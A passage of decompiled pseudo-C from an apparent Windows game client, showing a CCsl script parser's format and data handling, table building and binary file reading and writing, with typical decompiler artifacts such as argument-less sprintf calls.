} return result; } //----- (005E8CE0) -------------------------------------------------------- void __thiscall CIOCP::_CIOCP(CIOCP *this) { CIOCP *v1; // esi@1 v1 = this; CIOCP::Stop(this, -1); if ( v1->m_HandleIOCP ) { CloseHandle(v1->m_HandleIOCP); v1->m_HandleIOCP = 0; } } //----- (005E8D10) -------------------------------------------------------- void __thiscall CCsl::VarClear(CCsl *this) { this->m_bEnd = 0; this->m_bRemarkBlock = 0; this->m_NumFormatErrors = 0; this->m_NumDataErrors = 0; this->m_NumFormats = 0; this->m_pFormats = 0; this->m_pFormatLast = 0; this->m_ppFormatTable = 0; this->m_NumDatas = 0; this->m_pDatas = 0; this->m_pDataLast = 0; this->m_ppDataTable = 0; this->m_dwNumResultMsg = 0; this->m_pResultMsgLast = 0; this->m_pResultMsgs = 0; this->m_pParentCsl = 0; this->m_bInclude = 0; } //----- (005E8D80) -------------------------------------------------------- int __thiscall CCsl::MakeFormatTable(CCsl *this) { CCsl *v1; // esi@1 int v2; // eax@3 CCsl::CSL_FORMAT_LIST *v3; // eax@4 int v4; // ecx@5 v1 = this; if ( this->m_ppFormatTable ) { operator delete(this->m_ppFormatTable); v1->m_ppFormatTable = 0; } v2 = v1->m_NumFormats; if ( v2 > 0 ) { v1->m_ppFormatTable = (CCsl::CSL_FORMAT_LIST **)operator new__(4 * v2); v3 = v1->m_pFormats; if ( v3 ) { v4 = 0; do { v1->m_ppFormatTable[v4] = v3; v3 = v3->pNext; ++v4; } while ( v3 ); } } return 1; } //----- (005E8DF0) -------------------------------------------------------- int __thiscall CCsl::MakeDataTable(CCsl *this) { CCsl *v1; // esi@1 int v2; // eax@3 CCsl::CSL_DATA_LIST *v3; // eax@4 int v4; // ecx@5 v1 = this; if ( this->m_ppDataTable ) { operator delete__(this->m_ppDataTable); v1->m_ppDataTable = 0; } v2 = v1->m_NumDatas; if ( v2 > 0 ) { v1->m_ppDataTable = (CCsl::CSL_DATA_LIST **)operator new__(4 * v2); v3 = v1->m_pDatas; if ( v3 ) { v4 = 0; do { v1->m_ppDataTable[v4] = v3; v3 = v3->pNext; ++v4; } while ( v3 ); } } return 1; } //----- (005E8E60) -------------------------------------------------------- int __thiscall CCsl::AddResultMsg(CCsl *this, char *pszMsg) { CCsl *v2; // ebx@1 int result; // eax@1 char *v4; // ecx@2 char v5; // dl@3 v2 = this; result = (int)operator new__(strlen(pszMsg) + 9); if ( result ) { *(_DWORD *)result = 0; v4 = pszMsg; do { v5 = *v4; v4[result + 4 - (_DWORD)pszMsg] = *v4; ++v4; } while ( v5 ); if ( v2->m_pResultMsgs ) v2->m_pResultMsgLast->pNext = (CCsl::CSL_RESULT_MSG_LIST *)result; else v2->m_pResultMsgs = (CCsl::CSL_RESULT_MSG_LIST *)result; v2->m_pResultMsgLast = (CCsl::CSL_RESULT_MSG_LIST *)result; ++v2->m_dwNumResultMsg; result = 1; } return result; } //----- (005E8EE0) -------------------------------------------------------- CCsl::CSL_FORMAT_LIST *__thiscall CCsl::GetFormat(CCsl *this, int Index) { int v2; // edx@1 CCsl::CSL_FORMAT_LIST *result; // eax@2 CCsl::CSL_FORMAT_LIST **v4; // esi@3 int v5; // ecx@5 v2 = this->m_NumFormats; if ( v2 > Index ) { v4 = this->m_ppFormatTable; if ( v4 || (result = this->m_pFormats) == 0 ) { result = v4[Index]; } else { v5 = 0; if ( v2 <= 0 ) { LABEL_8: result = 0; } else { while ( v5 != Index ) { result = result->pNext; ++v5; if ( v5 >= v2 ) goto LABEL_8; } } } } else { result = 0; } return result; } //----- (005E8F30) -------------------------------------------------------- int __thiscall CCsl::GetNumDatas(CCsl *this) { return this->m_NumDatas; } //----- (005E8F40) -------------------------------------------------------- CCsl::CSL_DATA_LIST *__thiscall CCsl::GetDataInfo(CCsl *this, int Index) { int v2; // edx@1 CCsl::CSL_DATA_LIST *result; // eax@2 CCsl::CSL_DATA_LIST **v4; // esi@3 int v5; // ecx@5 v2 = this->m_NumDatas; if ( v2 > Index ) { v4 = this->m_ppDataTable; if ( v4 || (result = this->m_pDatas) == 0 ) { result = v4[Index]; } else { v5 = 0; if ( v2 <= 0 ) { LABEL_8: result = 0; } else { while ( v5 != Index ) { result = result->pNext; ++v5; if ( v5 >= v2 ) goto LABEL_8; } } } } else { result = 0; } return result; } //----- (005E8F90) -------------------------------------------------------- void *__thiscall CCsl::GetData(CCsl *this, int Index, int VarNo) { CCsl *v3; // esi@1 int *v4; // eax@1 int *v5; // edi@1 CCsl::CSL_FORMAT_LIST *v6; // eax@2 CCsl::CSL_FORMAT_LIST *v7; // ecx@2 int v8; // edx@3 void *result; // eax@4 int *v10; // esi@6 CCsl::CSL_PARAMETER *v11; // ecx@6 v3 = this; v4 = (int *)CCsl::GetDataInfo(this, Index); v5 = v4; if ( v4 && (v6 = CCsl::GetFormat(v3, *v4), (v7 = v6) != 0) && (v8 = VarNo, v6->NumParameter > VarNo) ) { result = (void *)v5[2]; if ( VarNo > 0 ) { v10 = v3->m_pCslParameterSize; v11 = v7->pParameter; do { result = (char *)result + v10[*v11]; ++v11; --v8; } while ( v8 ); } } else { result = 0; } return result; } //----- (005E8FF0) -------------------------------------------------------- int __thiscall CCsl::ProcRemark(CCsl *this, char *Token) { CCsl *v2; // esi@1 unsigned int v3; // eax@1 int result; // eax@3 char *v5; // eax@7 int v6; // edx@8 char v7; // cl@9 int v8; // esi@11 char *v9; // eax@12 int v10; // edx@13 char v11; // cl@14 char *v12; // eax@17 int v13; // edx@18 char v14; // cl@19 int v15; // esi@21 char *v16; // eax@22 int v17; // edx@23 char v18; // cl@24 int v19; // esi@26 int v20; // eax@27 char v21; // cl@28 v2 = this; v3 = CToken::IsTokenID(&this->baseclass_0, Token, this->m_CslRemarks, 7u); if ( v2->m_bRemarkBlock && v3 != 2 ) { result = 1; } else { switch ( v3 ) { case 1u: v2->m_bRemarkBlock = 1; result = 1; break; case 2u: v2->m_bRemarkBlock = 0; result = 1; break; case 3u: v5 = CToken::GetToken(&v2->baseclass_0); if ( v5 ) { v6 = v2->m_CslSeprator - v5; do { v7 = *v5; v5[v6] = *v5; ++v5; } while ( v7 ); CToken::SetSeprator(&v2->baseclass_0, v2->m_CslSeprator); result = 1; } else { v8 = (int)v2->m_CslSeprator; *(_DWORD *)v8 = *(_DWORD *)", \t\r\n"; *(_WORD *)(v8 + 4) = word_688AD8; result = 1; } break; case 4u: v9 = CToken::GetToken(&v2->baseclass_0); if ( v9 ) { v10 = v2->m_CslRemarkLine - v9; do { v11 = *v9; v9[v10] = *v9; ++v9; } while ( v11 ); result = 1; } else { *(_WORD *)&v2->m_CslRemarkLine[0] = 59; result = 1; } break; case 5u: v12 = CToken::GetToken(&v2->baseclass_0); if ( v12 ) { v13 = v2->m_CslRemarkStart - v12; do { v14 = *v12; v12[v13] = *v12; ++v12; } while ( v14 ); result = 1; } else { v15 = (int)v2->m_CslRemarkStart; *(_WORD *)v15 = *(_WORD *)"/*"; *(_BYTE *)(v15 + 2) = byte_688AD2; result = 1; } break; case 6u: v16 = CToken::GetToken(&v2->baseclass_0); if ( v16 ) { v17 = v2->m_CslRemarkEnd - v16; do { v18 = *v16; v16[v17] = *v16; ++v16; } while ( v18 ); result = 1; } else { v19 = (int)v2->m_CslRemarkEnd; *(_WORD *)v19 = *(_WORD *)"*/"; *(_BYTE *)(v19 + 2) = byte_688ACE; result = 1; } break; case 0u: goto $L64573; default: v20 = (int)v2->m_CslRemarkLine; do v21 = *(_BYTE *)v20++; while ( v21 ); if ( _mbsnbcmp(Token, v2->m_CslRemarkLine, v20 - (_DWORD)((char *)v2 + 1025)) ) { result = 0; } else { $L64573: CToken::GoNextLine(&v2->baseclass_0); result = 1; } break; } } return result; } // 688ACE: using guessed type char byte_688ACE; // 688AD2: using guessed type char byte_688AD2; // 688AD8: using guessed type __int16 word_688AD8; //----- (005E91F0) -------------------------------------------------------- CCsl::CSL_FORMAT_LIST *__thiscall CCsl::MakeFormat(CCsl *this) { CCsl *v1; // ebp@1 int v2; // ebx@1 void *v3; // eax@3 const char *v4; // edi@3 unsigned int v5; // eax@7 unsigned int v6; // esi@7 int v7; // eax@9 const char *v8; // esi@9 int v9; // ebx@9 void *v10; // eax@13 bool v11; // zf@13 char *v12; // edi@16 int v13; // esi@16 void *v14; // eax@17 int v15; // eax@20 void *v16; // eax@23 void *v17; // esi@23 int v18; // eax@23 char v19; // cl@24 int v20; // edi@25 void *v21; // eax@26 void *pParameters; // [sp+10h] [bp-260h]@1 int NumParameters; // [sp+14h] [bp-25Ch]@1 void *pParameterLast; // [sp+18h] [bp-258h]@14 int bFormat; // [sp+1Ch] [bp-254h]@1 void *Token; // [sp+20h] [bp-250h]@3 char *pFormats; // [sp+24h] [bp-24Ch]@9 char FormatBF[65]; // [sp+28h] [bp-248h]@1 char RetMsg[512]; // [sp+6Ch] [bp-204h]@22 unsigned int v31; // [sp+26Ch] [bp-4h]@1 v31 = (unsigned int)&pParameters ^ __security_cookie; v1 = this; memset(FormatBF, 0, 0x40u); v2 = 0; FormatBF[64] = 0; NumParameters = 0; pParameters = 0; bFormat = 0; while ( 1 ) { while ( 1 ) { while ( 1 ) { do { v3 = CToken::GetToken(&v1->baseclass_0); v4 = (const char *)v3; Token = v3; if ( !v3 ) { ++v1->m_NumFormatErrors; sprintf(RetMsg, "FORMAT DEFINNING, EOF Come."); CCsl::AddResultMsg(v1, RetMsg); return 0; } } while ( CCsl::ProcRemark(v1, (char *)v3) ); if ( bFormat ) break; strncpy(FormatBF, v4, 0x40u); bFormat = 1; } v5 = CToken::IsTokenID(&v1->baseclass_0, (char *)v4, v1->m_pCslParameter, 0x13u); v6 = v5; if ( v5 > 0x11 ) break; v10 = operator new(8u); v11 = pParameters == 0; *((_DWORD *)v10 + 1) = 0; *(_DWORD *)v10 = v6; if ( v11 ) { ++v2; pParameters = v10; pParameterLast = v10; NumParameters = v2; } else { ++v2; *((_DWORD *)pParameterLast + 1) = v10; pParameterLast = v10; NumParameters = v2; } } if ( v5 == 18 ) break; v7 = v1->m_NumFormats; v8 = (const char *)v1->m_pFormats; v9 = 0; pFormats = (char *)v1->m_pFormats; if ( v7 > 0 ) { while ( _mbsicmp(v4, v8) ) { ++v9; v8 += 76; if ( v9 >= v1->m_NumFormats ) goto LABEL_21; } v12 = &pFormats[76 * v9]; v13 = 0; if ( *((_DWORD *)v12 + 16) > 0 ) { do { v14 = operator new(8u); *((_DWORD *)v14 + 1) = 0; *(_DWORD *)v14 = *(_DWORD *)(*((_DWORD *)v12 + 17) + 4 * v13); if ( pParameters ) *((_DWORD *)pParameterLast + 1) = v14; else pParameters = v14; pParameterLast = v14; v15 = *((_DWORD *)v12 + 16); ++v13; ++NumParameters; } while ( v13 < v15 ); } } LABEL_21: if ( v9 >= v1->m_NumFormats ) { ++v1->m_NumFormatErrors; sprintf(RetMsg, "%s - FORMAT DEFINING, UNKNOWNED PARAMATER."); CCsl::AddResultMsg(v1, RetMsg); } v2 = NumParameters; } v16 = operator new(0x4Cu); v17 = v16; *((_DWORD *)v16 + 18) = 0; memset(v16, 0, 0x40u); v18 = (int)FormatBF; do { v19 = *(_BYTE *)v18; *(_BYTE *)(v17 - FormatBF + v18) = *(_BYTE *)v18; ++v18; } while ( v19 ); *((_DWORD *)v17 + 16) = v2; v20 = 0; for ( *((_DWORD *)v17 + 17) = operator new__(4 * v2); v20 < v2; ++v20 ) { v21 = pParameters; *(_DWORD *)(*((_DWORD *)v17 + 17) + 4 * v20) = *(_DWORD *)pParameters; pParameters = (void *)*((_DWORD *)v21 + 1); operator delete(v21); } return (CCsl::CSL_FORMAT_LIST *)v17; } //----- (005E9470) -------------------------------------------------------- int __thiscall CCsl::AddFormat(CCsl *this, CCsl::CSL_FORMAT_LIST *pAddFormat) { if ( this->m_pFormats ) this->m_pFormatLast->pNext = pAddFormat; else this->m_pFormats = pAddFormat; this->m_pFormatLast = pAddFormat; ++this->m_NumFormats; return 1; } //----- (005E94B0) -------------------------------------------------------- char *__thiscall CCsl::GetDataToken(CCsl *this) { CCsl *v1; // esi@1 char *v2; // eax@2 char *v3; // edi@2 char RetMsg[512]; // [sp+8h] [bp-204h]@1 unsigned int v6; // [sp+208h] [bp-4h]@1 v6 = (unsigned int)RetMsg ^ __security_cookie; v1 = this; while ( 1 ) { v2 = CToken::GetToken(&v1->baseclass_0); v3 = v2; if ( !v2 ) break; if ( !CCsl::ProcRemark(v1, v2) ) return v3; } ++v1->m_NumFormatErrors; sprintf(RetMsg, "DATA DEFINNING, EOF Come"); CCsl::AddResultMsg(v1, RetMsg); return v1->m_pDummyNull; } //----- (005E9540) -------------------------------------------------------- int __thiscall CCsl::Parameter_filename(CCsl *this, char *pFileName) { char *v2; // eax@1 char *v3; // edx@1 char v4; // cl@2 CCsl *strsize; // [sp+0h] [bp-4h]@1 strsize = this; v2 = CToken::GetTokenString(&this->baseclass_0, (int *)&strsize); v3 = pFileName; do { v4 = *v2++; *v3++ = v4; } while ( v4 ); return 1; } //----- (005E9570) -------------------------------------------------------- CCsl::CSL_DATA_LIST *__thiscall CCsl::MakeData(CCsl *this, unsigned int dwID, CCsl::CSL_FORMAT_LIST *pFormat) { CCsl *v3; // ebx@1 int v4; // ecx@1 unsigned int v5; // esi@1 CCsl::CSL_PARAMETER *v6; // eax@2 void *v7; // ebp@4 void *v8; // eax@4 int v9; // edi@4 int i; // ecx@4 CCsl::CSL_FORMAT_LIST *v11; // edi@7 int v12; // esi@7 int v13; // eax@7 char *v14; // eax@9 char *v15; // eax@10 char *v16; // eax@11 char *v17; // eax@12 int v18; // edx@12 char v19; // cl@13 char *v20; // eax@15 int v21; // edx@15 char v22; // cl@16 char *v23; // eax@18 int v24; // edx@18 char v25; // cl@19 char *v26; // eax@21 int v27; // edx@21 char v28; // cl@22 int pstrsize; // [sp+10h] [bp-14h]@15 char v31; // [sp+14h] [bp-10h]@18 char v32; // [sp+18h] [bp-Ch]@21 char v33; // [sp+1Ch] [bp-8h]@24 char v34; // [sp+20h] [bp-4h]@25 int dwIDa; // [sp+28h] [bp+4h]@7 v3 = this; v4 = pFormat->NumParameter; v5 = 0; if ( v4 > 0 ) { v6 = pFormat->pParameter; do { v5 += v3->m_pCslParameterSize[*v6]; ++v6; --v4; } while ( v4 ); } v7 = operator new(0x10u); *((_DWORD *)v7 + 3) = 0; *(_DWORD *)v7 = dwID; *((_DWORD *)v7 + 1) = v5; v8 = operator new__(v5); *((_DWORD *)v7 + 2) = v8; memset(v8, 0, 4 * (v5 >> 2)); v9 = (int)((char *)v8 + 4 * (v5 >> 2)); for ( i = v5 & 3; i; --i ) *(_BYTE *)v9++ = 0; v11 = pFormat; v12 = *((_DWORD *)v7 + 2); v13 = 0; for ( dwIDa = 0; dwIDa < v11->NumParameter; ++dwIDa ) { switch ( v11->pParameter[v13] ) { case 0: case 1: case 2: case 3: v14 = CCsl::GetDataToken(v3); *(_DWORD *)v12 = atoi(v14); goto LABEL_26; case 4: case 5: v15 = CCsl::GetDataToken(v3); sscanf(v15, "%x"); goto LABEL_26; case 6: case 7: v16 = CCsl::GetDataToken(v3); *(float *)v12 = atof(v16); goto LABEL_26; case 8: v17 = CToken::GetTokenString(&v3->baseclass_0, (int *)&pFormat); v18 = v12; do { v19 = *v17++; *(_BYTE *)v18++ = v19; } while ( v19 ); v12 += v3->m_pCslParameterSize[8]; break; case 9: v20 = CToken::GetTokenString(&v3->baseclass_0, &pstrsize); v21 = v12; do { v22 = *v20++; *(_BYTE *)v21++ = v22; } while ( v22 ); v12 += v3->m_pCslParameterSize[9]; break; case 0xA: v23 = CToken::GetTokenString(&v3->baseclass_0, (int *)&v31); v24 = v12; do { v25 = *v23++; *(_BYTE *)v24++ = v25; } while ( v25 ); v12 += v3->m_pCslParameterSize[10]; break; case 0xB: v26 = CToken::GetTokenString(&v3->baseclass_0, (int *)&v32); v27 = v12; do { v28 = *v26++; *(_BYTE *)v27++ = v28; } while ( v28 ); v12 += v3->m_pCslParameterSize[11]; break; case 0xC: *(_DWORD *)v12 = *CToken::GetTokenString(&v3->baseclass_0, (int *)&v33); goto LABEL_26; case 0xD: *(_DWORD *)v12 = *CToken::GetTokenString(&v3->baseclass_0, (int *)&v34); LABEL_26: v12 += 4; break; default: break; } v13 = dwIDa + 1; } return (CCsl::CSL_DATA_LIST *)v7; } //----- (005E9780) -------------------------------------------------------- int __thiscall CCsl::ProcData(CCsl *this, char *Token, char *pRet) { CCsl *v3; // esi@1 unsigned int v4; // ebx@1 CCsl::CSL_FORMAT_LIST *v5; // edi@1 int result; // eax@5 CCsl::CSL_DATA_LIST *v7; // eax@6 v3 = this; v4 = 0; v5 = this->m_pFormats; if ( this->m_NumFormats > 0 ) { do { if ( !_mbsicmp(Token, v5->Format) ) break; v5 = v5->pNext; ++v4; } while ( (signed int)v4 < v3->m_NumFormats ); } if ( (signed int)v4 < v3->m_NumFormats ) { v7 = CCsl::MakeData(v3, v4, v5); if ( v7 ) { if ( v3->m_pDatas ) v3->m_pDataLast->pNext = v7; else v3->m_pDatas = v7; v3->m_pDataLast = v7; ++v3->m_NumDatas; } result = 1; } else { result = 0; } return result; } //----- (005E9810) -------------------------------------------------------- void __thiscall CCsl::ReadScriptDone(CCsl *this) { CCsl *v1; // esi@1 char RetMsg[512]; // [sp+4h] [bp-204h]@1 unsigned int v3; // [sp+204h] [bp-4h]@1 v1 = this; v3 = (unsigned int)RetMsg ^ __security_cookie; if ( this->m_bInclude ) { sprintf(RetMsg, "Include Format %d Defined, %d Errors"); CCsl::AddResultMsg(v1, RetMsg); sprintf(RetMsg, "Include Data %d Defined, %d Errors"); CCsl::AddResultMsg(v1, RetMsg); CCsl::AddResultMsg(v1, (char *)&stru_63450C); v1->m_pParentCsl->m_NumFormatErrors += v1->m_NumFormatErrors; v1->m_pParentCsl->m_NumDataErrors += v1->m_NumDataErrors; v1->m_pParentCsl->m_NumFormats = v1->m_NumFormats; v1->m_pParentCsl->m_pFormats = v1->m_pFormats; v1->m_pParentCsl->m_pFormatLast = v1->m_pFormatLast; v1->m_pParentCsl->m_NumDatas = v1->m_NumDatas; v1->m_pParentCsl->m_pDatas = v1->m_pDatas; v1->m_pParentCsl->m_pDataLast = v1->m_pDataLast; v1->m_pParentCsl->m_pResultMsgLast = v1->m_pResultMsgLast; v1->m_pParentCsl->m_dwNumResultMsg = v1->m_dwNumResultMsg; v1->m_pParentCsl->m_pResultMsgs = v1->m_pResultMsgs; } else { CCsl::AddResultMsg(this, (char *)&stru_63450C); sprintf(RetMsg, "TOTAL Format %d Defined, %d Errors"); CCsl::AddResultMsg(v1, RetMsg); sprintf(RetMsg, "TOTAL Data %d Defined, %d Errors"); CCsl::AddResultMsg(v1, RetMsg); CCsl::AddResultMsg(v1, (char *)&stru_63450C); CCsl::MakeFormatTable(v1); CCsl::MakeDataTable(v1); } } //----- (005E9A40) -------------------------------------------------------- int __thiscall CCsl::Read(CCsl *this, char *lpszPathName) { CCsl *v2; // ebp@1 void *v3; // eax@1 void *v4; // ebx@1 unsigned int v5; // eax@2 int result; // eax@4 unsigned int v7; // esi@5 void *v8; // esi@11 void *v9; // ebx@12 void *v10; // eax@12 int v11; // esi@15 void *v12; // eax@16 int v13; // esi@16 void *v14; // eax@17 void *v15; // ebx@17 int v16; // eax@17 char v17; // cl@18 void *v18; // eax@19 void *v19; // [sp-Ch] [bp-2Ch]@15 void *pTemp; // [sp+8h] [bp-18h]@11 void *pTempa; // [sp+8h] [bp-18h]@16 unsigned int dwDoneSize; // [sp+Ch] [bp-14h]@9 void *hFile; // [sp+10h] [bp-10h]@1 unsigned int dwFileSize; // [sp+14h] [bp-Ch]@2 PathFindTable *Chunk; // [sp+18h] [bp-8h]@8 DWORD nNumberOfBytesToRead; // [sp+1Ch] [bp-4h]@9 v2 = this; v3 = CGdp::CreateFileA(&this->baseclass_0.m_Gdp, lpszPathName, 0x80000000u, 1u, 0, 3u, 0x80u, 0); v4 = v3; hFile = v3; if ( v3 == (void *)-1 ) return 0; v5 = CGdp::GetFileSize(&v2->baseclass_0.m_Gdp, v3, 0); dwFileSize = v5; if ( v5 == -1 ) { CGdp::CloseHandle(&v2->baseclass_0.m_Gdp, v4); return 0; } v7 = 0; if ( v5 ) { while ( CGdp::ReadFile(&v2->baseclass_0.m_Gdp, v4, &Chunk, 8u, (unsigned int *)&lpszPathName, 0) ) { dwDoneSize = v7 + nNumberOfBytesToRead + 8; if ( (unsigned int *)Chunk == (unsigned int *)((char *)&pathfindtable.pft_table[1569][591].pfc_flag + 1) ) { v12 = operator new__(nNumberOfBytesToRead + 8); v13 = (int)((char *)v12 + 8); pTempa = v12; if ( !CGdp::ReadFile( &v2->baseclass_0.m_Gdp, v4, (char *)v12 + 8, nNumberOfBytesToRead, (unsigned int *)&lpszPathName, 0) ) break; v14 = operator new(0x4Cu); v15 = v14; *((_DWORD *)v14 + 18) = 0; memset(v14, 0, 0x40u); v16 = v13; do { v17 = *(_BYTE *)v16; *((_BYTE *)v15 + v16 - v13) = *(_BYTE *)v16; ++v16; } while ( v17 ); *((_DWORD *)v15 + 16) = *((_DWORD *)pTempa + 18); v18 = operator new__(4 * *((_DWORD *)pTempa + 18)); *((_DWORD *)v15 + 17) = v18; memcpy(v18, (char *)pTempa + 76, 4 * *((_DWORD *)pTempa + 18)); if ( v2->m_pFormats ) v2->m_pFormatLast->pNext = (CCsl::CSL_FORMAT_LIST *)v15; else v2->m_pFormats = (CCsl::CSL_FORMAT_LIST *)v15; ++v2->m_NumFormats; v2->m_pFormatLast = (CCsl::CSL_FORMAT_LIST *)v15; v19 = pTempa; } else { if ( Chunk != (PathFindTable *)572662306 || (v8 = operator new__(nNumberOfBytesToRead + 8), pTemp = v8, !CGdp::ReadFile( &v2->baseclass_0.m_Gdp, v4, (char *)v8 + 8, nNumberOfBytesToRead, (unsigned int *)&lpszPathName, 0)) ) break; v9 = operator new(0x10u); *((_DWORD *)v9 + 3) = 0; *(_DWORD *)v9 = *((_DWORD *)v8 + 2); *((_DWORD *)v9 + 1) = *((_DWORD *)v8 + 3); v10 = operator new__(*((_DWORD *)v8 + 3)); *((_DWORD *)v9 + 2) = v10; memcpy(v10, (char *)v8 + 16, *((_DWORD *)v8 + 3)); if ( v2->m_pDatas ) v2->m_pDataLast->pNext = (CCsl::CSL_DATA_LIST *)v9; else v2->m_pDatas = (CCsl::CSL_DATA_LIST *)v9; v11 = v2->m_NumDatas + 1; v2->m_pDataLast = (CCsl::CSL_DATA_LIST *)v9; v2->m_NumDatas = v11; v19 = pTemp; } operator delete(v19); if ( dwFileSize <= dwDoneSize ) return 1; v7 = dwDoneSize; v4 = hFile; } CGdp::CloseHandle(&v2->baseclass_0.m_Gdp, v4); result = 0; } else { result = 1; } return result; } //----- (005E9CA0) -------------------------------------------------------- int __thiscall CCsl::WriteFormat(CCsl *this, char *lpszPathName, void *hFile) { void *v3; // esi@1 CCsl *v4; // edi@1 int result; // eax@3 CCsl::CSL_FORMAT_LIST *v6; // ebx@4 signed int bUseOpenedHandle; // [sp+8h] [bp-Ch]@1 unsigned int *Chunk; // [sp+Ch] [bp-8h]@5 int v9; // [sp+10h] [bp-4h]@5 v3 = hFile; v4 = this; bUseOpenedHandle = 1; if ( hFile != (void *)-1 || (bUseOpenedHandle = 0, v3 = CGdp::CreateFileA(&this->baseclass_0.m_Gdp, lpszPathName, 0x40000000u, 1u, 0, 2u, 0x80u, 0), v3 != (void *)-1) ) { v6 = v4->m_pFormats; if ( v6 ) { while ( 1 ) { Chunk = (unsigned int *)((char *)&pathfindtable.pft_table[1569][591].pfc_flag + 1); v9 = 4 * v6->NumParameter + 68; if ( !CGdp::WriteFile(&v4->baseclass_0.m_Gdp, v3, &Chunk, 8u, (unsigned int *)&hFile, 0) ) break; if ( !CGdp::WriteFile(&v4->baseclass_0.m_Gdp, v3, v6, 0x40u, (unsigned int *)&hFile, 0) || !CGdp::WriteFile(&v4->baseclass_0.m_Gdp, v3, &v6->NumParameter, 4u, (unsigned int *)&hFile, 0) || !CGdp::WriteFile( &v4->baseclass_0.m_Gdp, v3, v6->pParameter, 4 * v6->NumParameter, (unsigned int *)&hFile, 0) ) break; v6 = v6->pNext; if ( !v6 ) goto LABEL_10; } if ( !bUseOpenedHandle ) CGdp::CloseHandle(&v4->baseclass_0.m_Gdp, v3); result = 0; } else { LABEL_10: if ( !bUseOpenedHandle ) CGdp::CloseHandle(&v4->baseclass_0.m_Gdp, v3); result = 1; } } else { result = 0; } return result; } //----- (005E9DD0) -------------------------------------------------------- int __thiscall CCsl::WriteData(CCsl *this, char *lpszPathName, void *hFile) { void *v3; // esi@1 CCsl *v4; // edi@1 int result; // eax@3 CCsl::CSL_DATA_LIST *v6; // ebx@4 signed int bUseOpenedHandle; // [sp+8h] [bp-Ch]@1 int Chunk; // [sp+Ch] [bp-8h]@5 unsigned int v9; // [sp+10h] [bp-4h]@5 v3 = hFile; v4 = this; bUseOpenedHandle = 1; if ( hFile != (void *)-1 || (bUseOpenedHandle = 0, v3 = CGdp::CreateFileA(&this->baseclass_0.m_Gdp, lpszPathName, 0x40000000u, 1u, 0, 2u, 0x80u, 0), v3 != (void *)-1) ) { v6 = v4->m_pDatas; if ( v6 ) { while ( 1 ) { Chunk = 572662306; v9 = v6->dwSize + 8; if ( !CGdp::WriteFile(&v4->baseclass_0.m_Gdp, v3, &Chunk, 8u, (unsigned int *)&hFile, 0) ) break; if ( !CGdp::WriteFile(&v4->baseclass_0.m_Gdp, v3, v6, 4u, (unsigned int *)&hFile, 0) || !CGdp::WriteFile(&v4->baseclass_0.m_Gdp, v3, &v6->dwSize, 4u, (unsigned int *)&hFile, 0) || !CGdp::WriteFile(&v4->baseclass_0.m_Gdp, v3, v6->pData, v6->dwSize, (unsigned int *)&hFile, 0) ) break; v6 = v6->pNext; if ( !v6 ) goto LABEL_10; } if ( !bUseOpenedHandle ) CGdp::CloseHandle(&v4->baseclass_0.m_Gdp, v3); result = 0; } else { LABEL_10: if ( !bUseOpenedHandle ) CGdp::CloseHandle(&v4->baseclass_0.m_Gdp, v3); result = 1; } } else { result = 0; } return result; } //----- (005E9EF0) -------------------------------------------------------- void __thiscall CCsl::ClearFormats(CCsl *this) { CCsl *v1; // esi@1 void *v2; // ST00_4@2 void *v3; // eax@3 v1 = this; while ( v1->m_pFormats ) { operator delete(v1->m_pFormats->pParameter); v2 = v1->m_pFormats; v1->m_pFormats = v1->m_pFormats->pNext; operator delete(v2); } v3 = v1->m_ppFormatTable; v1->m_NumFormats = 0; if ( v3 ) { operator delete(v3); v1->m_ppFormatTable = 0; } } //----- (005E9F60) -------------------------------------------------------- void __thiscall CCsl::ClearDatas(CCsl *this) { CCsl *v1; // esi@1 void *v2; // ST00_4@2 void *v3; // eax@3 v1 = this; while ( v1->m_pDatas ) { operator delete(v1->m_pDatas->pData); v2 = v1->m_pDatas; v1->m_pDatas = v1->m_pDatas->pNext; operator delete(v2); } v3 = v1->m_ppDataTable; v1->m_NumDatas = 0; if ( v3 ) { operator delete__(v3); v1->m_ppDataTable = 0; } } //----- (005E9FD0) -------------------------------------------------------- void __thiscall CCsl::Close(CCsl *this) { CCsl *v1; // esi@1 void *v2; // ST00_4@3 v1 = this; CToken::Close(&this->baseclass_0); if ( !v1->m_bInclude ) { while ( v1->m_pResultMsgs ) { v2 = v1->m_pResultMsgs; v1->m_pResultMsgs = v1->m_pResultMsgs->pNext; operator delete(v2); } v1->m_dwNumResultMsg = 0; CCsl::ClearFormats(v1); CCsl::ClearDatas(v1); if ( v1->m_CslRemarks ) operator delete(v1->m_CslRemarks); v1->m_CslRemarks = 0; } } //----- (005EA050) -------------------------------------------------------- void __thiscall CCsl::Clear(CCsl *this) { CCsl *v1; // ebx@1 void *v2; // eax@1 v1 = this; CCsl::Close(this); CCsl::VarClear(v1); v1->m_pDummyNull = byte_635E1E; v2 = operator new__(0x1Cu); v1->m_CslRemarks = (char **)v2; memcpy(v2, pCslRemarks, 0x1Cu); *(_DWORD *)&v1->m_CslSeprator[0] = *(_DWORD *)", \t\r\n"; *(_WORD *)&v1->m_CslSeprator[4] = word_688AD8; *(_WORD *)&v1->m_CslRemarkLine[0] = 59; *(_WORD *)&v1->m_CslRemarkStart[0] = *(_WORD *)"/*"; v1->m_CslRemarkStart[2] = byte_688AD2; *(_WORD *)&v1->m_CslRemarkEnd[0] = *(_WORD *)"*/"; v1->m_CslRemarkEnd[2] = byte_688ACE; *v1->m_CslRemarks = v1->m_CslRemarkLine; *((_DWORD *)v1->m_CslRemarks + 1) = (char *)v1 + 1088; *((_DWORD *)v1->m_CslRemarks + 2) = (char *)v1 + 1152; v1->m_pCslCmd = pCslCmd; v1->m_pCslParameter = pCslParameter; v1->m_pCslParameterSize = pCslParameterSize; } // 688ACE: using guessed type char byte_688ACE; // 688AD2: using guessed type char byte_688AD2; // 688AD8: using guessed type __int16 word_688AD8; //----- (005EA130) -------------------------------------------------------- void __thiscall CCsl::_CCsl(CCsl *this) { CToken *v1; // esi@1 v1 = (CToken *)this; CCsl::Close(this); CToken::_CToken(v1); } //----- (005EA180) -------------------------------------------------------- void __thiscall CCsl::CCsl(CCsl *this) { CCsl *v1; // esi@1 CCsl *v2; // ecx@1 v1 = this; CToken::CToken(&this->baseclass_0); v1->m_CslRemarks = 0; CCsl::VarClear(v1); CCsl::Clear(v2); } //----- (005EA1D0) -------------------------------------------------------- void __thiscall CCsl::CCsl(CCsl *this, CCsl *pParentCsl) { CCsl *v2; // esi@1 char *v3; // ecx@2 char v4; // dl@3 char *v5; // ecx@4 char v6; // dl@5 char *v7; // ecx@6 char v8; // dl@7 char *v9; // ecx@8 char v10; // dl@9 CCsl thisa; // [sp+8h] [bp-504h]@11 int v12; // [sp+508h] 